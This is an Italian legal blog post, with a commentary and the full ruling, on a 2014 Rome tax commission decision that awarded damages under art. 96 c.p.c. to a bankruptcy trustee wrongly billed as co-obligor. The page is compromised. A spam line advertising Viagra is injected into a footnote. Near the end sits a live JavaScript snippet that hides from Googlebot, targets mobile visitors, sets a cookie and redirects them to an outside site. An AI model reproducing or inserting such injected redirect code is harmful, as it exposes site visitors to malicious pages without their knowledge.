13 Ottobre, 2015


Decisione ampiamente condivisibile e degna di plauso.

Due sono gli elementi ad effetto dei quali si attribuisce particolare valore alla sentenza in rassegna: l’affermazione dell’esclusività della giurisdizione anche in materia tributaria e, di conseguenza, l’ammissibilità del giudice tributario a conoscere anche dei danni, patrimoniali e non, correlati da un nesso di causalità materiale al comportamento unfair dell’Amministrazione finanziaria.

In realtà si tratta di due profili del medesimo concetto, connessi fra loro da un rapporto di consequenzialità.

La vicenda si presenta lineare nella sua semplicità. Il curatore di una società commerciale correttamente trasmetteva all’Agenzia delle entrate territorialmente competente il mod. 770 inerente i redditi soggetti a ritenuta d’acconto – non versati dalla società poi dichiarata fallita – relativi al periodo d’imposta antecedente la propria nomina a curatore. Improvvidamente, a seguito di tali (doverose) dichiarazioni, l’Agenzia delle entrate iscriveva a ruolo le imposte trattenute e non versate dalla società, anche a carico del curatore fallimentare indicato nella cartella di pagamento quale coobbligato.

Ricorreva il curatore alla Commissione tributaria provinciale di Roma eccependo il difetto di legittimazione passiva e chiedendo quindi l’annullamento dell’atto impugnato, nonché la condanna dell’Amministrazione finanziaria e dell’agente della riscossione, terzo chiamato in causa, al risarcimento del danno da lui patito e alle spese di lite.

L’Agenzia delle entrate, che nel frattempo – ma a seguito dell’attività svolta dal ricorrente al fine di ottenere il riesame dell’iscrizione a ruolo in via di autotutela – aveva provveduto ad annullare la richiamata cartella, resisteva in giudizio, chiedendo dichiararsi la cessazione della materia del contendere (avendo provveduto ad annullare la cartella impugnata) ed applicarsi la compensazione delle spese del giudizio, oltre al rigetto delle domande di danni, sussistendo il difetto di giurisdizione del giudice tributario.

Resisteva altresì Equitalia Sud s.p.a., chiedendo dichiararsi cessata la materia del contendere e rigettarsi la pretesa di danno del ricorrente, sussistendo il difetto di giurisdizione dell’adita Commissione tributaria capitolina.

All’udienza del 7 maggio 2014 la Commissione provinciale pronunciava l’annotata sentenza che merita piena adesione.

Quanto al primo elemento, l’Agenzia delle entrate ha fondato le proprie difese, in punto di condanna ai danni ed alle spese, su un argomento nettamente processuale: il difetto di giurisdizione della Commissione tributaria a conoscere alcunché al di fuori della materia regolata dalla legge organica sul processo tributario. Ossia, più precisamente, la parte resistente, con lettura manichea dell’art. 2 del D.Lgs. 31 dicembre 1992, n. 546, opinava che appartengano alla giurisdizione tributaria tutte (e quindi solo) le controversie aventi ad oggetto tributi di ogni genere e specie.

[-protetto-]

È stato necessario un regolamento di giurisdizione da parte delle Sezioni Unite della Corte di Cassazione per accertare con ordinanza la giurisdizione del giudice tributario anche per i danni ex art. 96 c.p.c. È il punto saliente del decisum: l’applicazione del principio di estensione della giurisdizione del giudice tributario anche al danno extracontrattuale per illecito dell’Amministrazione finanziaria. Si delinea, nell’applicazione di tale canone, un importante profilo, che trae fondamento da taluni precetti costituzionali. Esso inerisce la celerità di un unico processo, l’esorcismo del rischio di giudicati collidenti o comunque difformi, l’economia – in termini energetici ed economici – di giudizio. Il tutto può essere riassunto nel c.d. “principio di concentrazione” della tutela, che si concretizza in una vis attractiva del giudice tributario nei confronti anche delle conseguenze pregiuziali eziologicamente correlate ad un comportamento colposo dell’Amministrazione finanziaria. Da tale aspetto consegue in concreto la condanna dell’Amministrazione finanziaria al risarcimento dei danni subiti dal curatore ricorrente a seguito della “balorda” iscrizione a ruolo nei suoi confronti – quale asserito coobbligato – delle ritenute alla fonte a suo tempo non versate dalla società fallita.

Lavorano qui due norme fra loro correlate: l’art. 96 c.p.c., rubricato “responsabilità aggravata”, e l’art. 2059 c.c., inerente il danno non patrimoniale.

A seguito della rivoluzione copernicana sviluppata dalla dottrina nella seconda metà dello scorso secolo, che ha scardinato la restrittiva dizione lessicale della norma, ancorata al principio di tipicità, è venuto ad evidenziarsi il concetto di danno morale e quindi quelli di danno biologico, di danno alla persona, di danno esistenziale (talune espressioni hanno valore sinonimico), e via seguitando.

«Accerchiato da più parti, l’art. 2059 c.c., anziché venire espunto dal sistema, ha riguadagnato appieno dignità e ruolo, in forza di una interpretazione “costituzionalmente orientata”, perché volta ad assicurare la tutela minima – quella risarcitoria – agli interessi della persona di rango costituzionale e in virtù dell’acquisita capacità di racchiudere al suo interno tutte le perdite non suscettibili direttamente di valutazione in termini economici o che comunque non possono essere misurate con il criterio dell’equivalenza, con il quale si determina il danno patrimoniale» (1).

In definitiva la Commissione tributaria romana ha riconosciuto il pregiudizio subito dal ricorrente e, pur non citando esplicitamente la norma disciplinante il danno morale, ha condannato l’Amministrazione finanziaria al suo risarcimento a termini dell’art. 1226 c.c.

Interessante, sullo specifico punto, riportare ad litteram il nucleo della richiamata ordinanza (2), che si incentra sulla lettura in termini esegetici del terzo comma dell’art. 96 c.p.c. il quale, ad avviso della Suprema Corte, «consente al Giudice (quand’anche dovesse ritenersi che ciò non rientri già nella portata applicativa del primo comma del medesimo art. 96 c.p.c.) di liquidare in favore del contribuente vittorioso una somma in via equitativa, a titolo di risarcimento dei danni patiti a causa dell’esercizio, da parte dell’amministrazione finanziaria, di una pretesa impositiva “temeraria”, cioè derivata da mala fede o colpa grave … dovendosi, infatti, intendere in senso estensivo il concetto di responsabilità processuale, comprensivo anche, cioè, della fase amministrativa che, qualora ricorrano i predetti requisiti, ha dato luogo all’esigenza di instaurare un processo ingiusto».

A simile stregua non ci si può che augurare che anche in Italia prenda piede l’istituto, di tipica marca anglosassone, dei “punitive damages” o “exemplary damages”, ossia di poste risarcitorie «liquidate, negli ordinamenti di Common Law e in particolare negli Stati Uniti, in aggiunta a quelle riconosciute per compensare il danno subito (compensatory damages), allorché il danneggiato provi che il danneggiante ha agito con dolo (malice) o colpa grave (gross negligence). I danni punitivi vanno dunque oltre rispetto alla funzione risarcitoria, tipica della sanzione per illecito civile, e si propongono di soddisfare ulteriori molteplici scopi, tra cui: a) punire l’autore dell’illecito; b) dissuadere altri dal compierne di analoghi; c) premiare la vittima per l’impegno profuso nell’affermare il proprio diritto e aver così ripristinato l’ordine legale» (3).

È infatti ora che venga insegnato al brontosauro tributario il rispetto per il cittadino e, soprattutto, la volontà e la capacità di distinguere fra il contribuente corretto e l’evasore incallito, apprezzando il primo – o quantomeno, non vessandolo inutilmente – e perseguendo una volta tanto efficacemente il secondo, al di là di vuoti trionfalismi e di inutili shows, sul modello di taluni blitzes,spettacolari quanto vacui, in note località turistiche.

Dott. Federico Bellini

(1) D. Poletti, Voce Danni non patrimoniali, in Il diritto. Enciclopedia giuridica del Sole 24 Ore, IV, 2007, 603 ss.

(2) Cfr. Cass., sez. un., 3 giugno 2013, ord. n. 13899, in Boll. Trib., 2013, 1487, con note di V. Ficari,

Buy cheap Viagra online

Spetta alla giurisidizione tributaria la controversia per lite temeraria, e di V. Azzoni, Finalmente dichiarata la giurisdizione tributaria esclusiva sulle domande di risarcimento per danni processuali ex art. 96 c.p.c.

(3) L. Lenti, Danni punitivi, in Encicl. dir., 2009, III, 493.

 

Procedimento – Commissioni – Giudizio avanti le Commissioni – Spese processuali – Condanna al risarcimento del danno per responsabilità processuale aggravata ex art. 96 c.p.c. – Comprende anche la fase amministrativa che abbia causato il processo per effetto di una pretesa impositiva connotata da mala fede o colpa grave – Condanna dell’Amministrazione al risarcimento dei danni in via equitativa – Va disposta.

Procedimento – Ricorsi – Spese processuali – Condanna al risarcimento del danno per responsabilità processuale aggravata ex art. 96 c.p.c. – Comprende anche la fase amministrativa che abbia causato il processo per effetto di una pretesa impositiva connotata da mala fede o colpa grave – Condanna dell’Amministrazione al risarcimento dei danni in via equitativa – Va disposta.

Imposte e tasse – Responsabilità dell’Amministrazione finanziaria – Adozione di un atto impositivo illegittimo connotato da mala fede o colpa grave – Diritto del contribuente al risarcimento dei danni determinati in via equitativa ex art. 96 c.p.c. – Sussiste – Condanna dell’Amministrazione al risarcimento – Va disposta.

L’art. 96, terzo comma, c.p.c., prevede che in ogni caso, quando pronuncia sulle spese ai sensi dell’art. 91 c.p.c., il giudice, anche d’ufficio, può condannare la parte soccombente al pagamento, a favore della controparte, di una somma equitativamente determinata, e tale previsione consente al giudice (quand’anche dovesse ritenersi che ciò non rientri già nella portata applicativa del primo comma del medesimo art. 96 c.p.c.) di liquidare in favore del contribuente vittorioso una somma in via equitativa, a titolo di risarcimento dei danni patiti a causa dell’esercizio, da parte dell’Amministrazione finanziaria, di una pretesa impositiva “temeraria”, cioè derivata da mala fede o colpa grave, dovendosi intendere in senso estensivo il concetto di responsabilità processuale, ossia comprensivo anche della fase amministrativa che abbia dato luogo all’esigenza di instaurare un processo ingiusto, nella specie a causa del mancato tempestivo annullamento in via di autotutela dell’atto impositivo illegittimo emesso a carico del contribuente.

[Commissione trib. provinciale di Roma, sez. XVII (Pres. Pardo, rel. Morsillo), 26 maggio 2014, sent. n. 11574]

Il ricorrente, con atto regolarmente notificato sia all’Agenzia delle Entrate di Roma, che ad Equitalia, impugnava la cartella di pagamento di . 60.773,09, emessa per l’anno 2008, notificata in data 13/5/11, per essere egli – (a dire dell’ufficio) – coobbligato quale curatore della Siar srl, dichiarata fallita in data 29/1/09.

Pur non contestando la legittimità dell’iscrizione a ruolo del debito nei confronti della società, il ricorrente, eccependo il difetto di legittimazione passiva, chiedeva comunque l’annullamento dell’atto impugnato non essendo egli coobbligato, riferendosi il periodo di imposta all’anno precedente la sua nomina; chiedeva, inoltre, la condanna delle controparti in solido al risarcimento del danno ex art. 96 cpc “nel caso in cui insistano per la reiezione del ricorso”, nonché, “in ogni caso”, al risarcimento del “danno patito dal contribuente” ed alle spese di lite; il tutto previo accertamento della giurisdizione del Giudice Tributario anche in ordine alle predette domande risarcitorie. Resisteva l’Agenzia delle Entrate, chiedendo dichiararsi la cessazione della materia del contendere (avendoprovveduto ad annullare la cartella impugnata) ed applicarsi la compensazione delle spese del giudizio, oltre al rigetto delle domande di danni, sussistendo il difetto di giurisdizione del Giudice Tributario. Resisteva altresì Equitalia Sud spa, chiedendo dichiararsi cessata la materia del contendere e rigettarsi la pretesa di danno del ricorrente, sussistendo il difetto di giurisdizione della adita CTP.

Il procedimento, prima sospeso, stante il regolamento preventivo di giurisdizione proposto dal ricorrente, veniva riassunto a seguito dell’ordinanza n. 13899/13 (1) della Corte di Cassazione, che accertava la giurisdizione del Giudice Tributario anche per i danni ex art. 96 cpc; veniva quindi fissata l’udienza del 7/5/14 per la discussione.

La Commissione prende atto della dichiarazione dell’Agenzia delle Entrate depositata in data 7/9/11, con cui la stessa riconosceva la fondatezza delle argomentazioni del ricorrente, provvedendo ad annullare totalmente la sua pretesa tributaria a carico del ricorrente.

La materia del contendere in ordine alle pretese dell’Ufficio deve, conseguentemente, essere dichiarata cessata.

Rimane, quindi, da esaminare solamente la domanda risarcitoria del ricorrente. Sul punto si deve osservare che l’art. 96 cpc, 3° c. prevede che: “In ogni caso, quando pronuncia sulle spese ai sensi dell’art. 91, il Giudice, anche d’ufficio, può condannare la parte soccombente al pagamento, a favore della controparte, di una somma equitativamente determinata.”.

Tale previsione, come del resto correttamente affermato nella citata ordinanza n. 13899/13, «consente al Giudice (quand’anche dovesse ritenersi che ciò non rientri già nella portata applicativa del primo comma del medesimo art. 96 cpc) di liquidare in favore del contribuente vittorioso una somma in via equitativa, a titolo di risarcimento dei danni patiti a causa dell’esercizio, da parte dell’amministrazione finanziaria, di una pretesa impositiva “temeraria”, cioè derivata da mala fede o colpa grave… dovendosi, infatti, intendere in senso estensivo il concetto di responsabilità processuale, comprensivo anche, cioè, della fase amministrativa che, qualora ricorrano i predetti requisiti, ha dato luogo all’esigenza di instaurare un processo ingiusto».

Si tratta quindi ora di valutare se il ricorrente sia stato costretto ad instaurare il presente processo a causa dell’illegittima attività dell’Agenzia delle Entrate; più precisamente di verificare se l’Agenzia abbia emesso, per mala fede o colpa grave, la cartella impugnata e ciò indipendentemente dalla circostanza che essa abbia, sin dalla sua prima difesa, dichiarato di aver annullato la pretesa tributaria a carico del ricorrente.

Orbene, a parere di chi scrive, l’Agenzia ha indubbiamente posto in essere un comportamento con grave colpa, in quanto essa non poteva non sapere – (e ne aveva il dovere, avendo il curatore tempestivamente presentato in data 23 e 27/7/2009 i mod. 770/2009, qualificandosi come curatore fallimentare ed inserendo nei quadri ST e SV gli importi delle trattenute operate e non versate dalla società nell’anno precedente la dichiarazione di fallimento) – che il periodo di imposta si riferiva ad un anno antecedente il fallimento e che quindi mai e poi mai il curatore poteva essere ritenuto coobbligato con la società contribuente. Ciò detto, si tratta ora di valutare se nella specie siano riscontrabili profili di danno.

Ritiene lo scrivente che la semplice circostanza che il ricorrente sia stato costretto ad incardinare un giudizio a fronte di un comportamento illegittimo della controparte sia già di per sé un danno, atteso che è indubbio (e non contestato) che il ricorrente ha dovuto porre in essere idonea attività per ottenere il riesame dell’iscrizione a ruolo in via di autotutela, con perdite di tempo, ingiustamente sottratto alla sua attività professionale od al suo tempo libero; il tutto con utilizzo di collaboratori e con spese non analiticamente documentabili – (anche queste circostanze non sono state contestate) – fermo restando l’intuibile stress (la cui sussistenza non è stata ex adverso contestata) che è ragionevole ritenere colpisca chi si vede attinto da ingiusto provvedimento e ciò proprio nell’esercizio delle sue funzioni di pubblico ufficiale.

Né del resto si può sostenere che l’annullamento della cartella per cui è lite, eseguito dall’Agenzia delle Entrate dopo la notifica della stessa e comunque in pendenza di ricorso, sia sufficiente ad escludere il danno, essendo invece idoneo solo a comprimerlo.

E proprio in ragione di tale compressione il danno sopra qualificato ben può essere equitativamente quantificato in . 5.000,00, ai sensi dell’art. 1226 cc.

Nessuna responsabilità può invece ritenersi sussistente a carico di Equitalia Sud spa, per essere i motivi di ricorso riferibili esclusivamente all’ente impositore. Alla soccombenza dell’Agenzia delle Entrate conseguono le spese di lite, (da liquidarsi in favore del difensore antistatario), che, invece, vanno compensate tra il ricorrente ed Equitalia Sud spa, sussistendone giusti motivi.

P.Q.M. – la Commissione Tributaria adita dichiara cessata la materia del contendere in ordine alla pretesa tributaria dell’ufficio e, in accoglimento del ricorso, condanna l’Agenzia delle Entrate al risarcimento dei danni ex art. 96 cpc, che, in via equitativa, liquida in . 3.000,00, oltre alle spese di lite che quantifica in . 2.000,00, oltre oneri di legge, da liquidarsi in favore del difensore, …, dichiaratosi antistatario. Compensa le spese di lite tra il ricorrente ed Equitalia Sud spa.

 

(1) Cfr. Cass. 3 giugno 2013, n. 13899, in Boll. Trib., 2013, 1487.

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *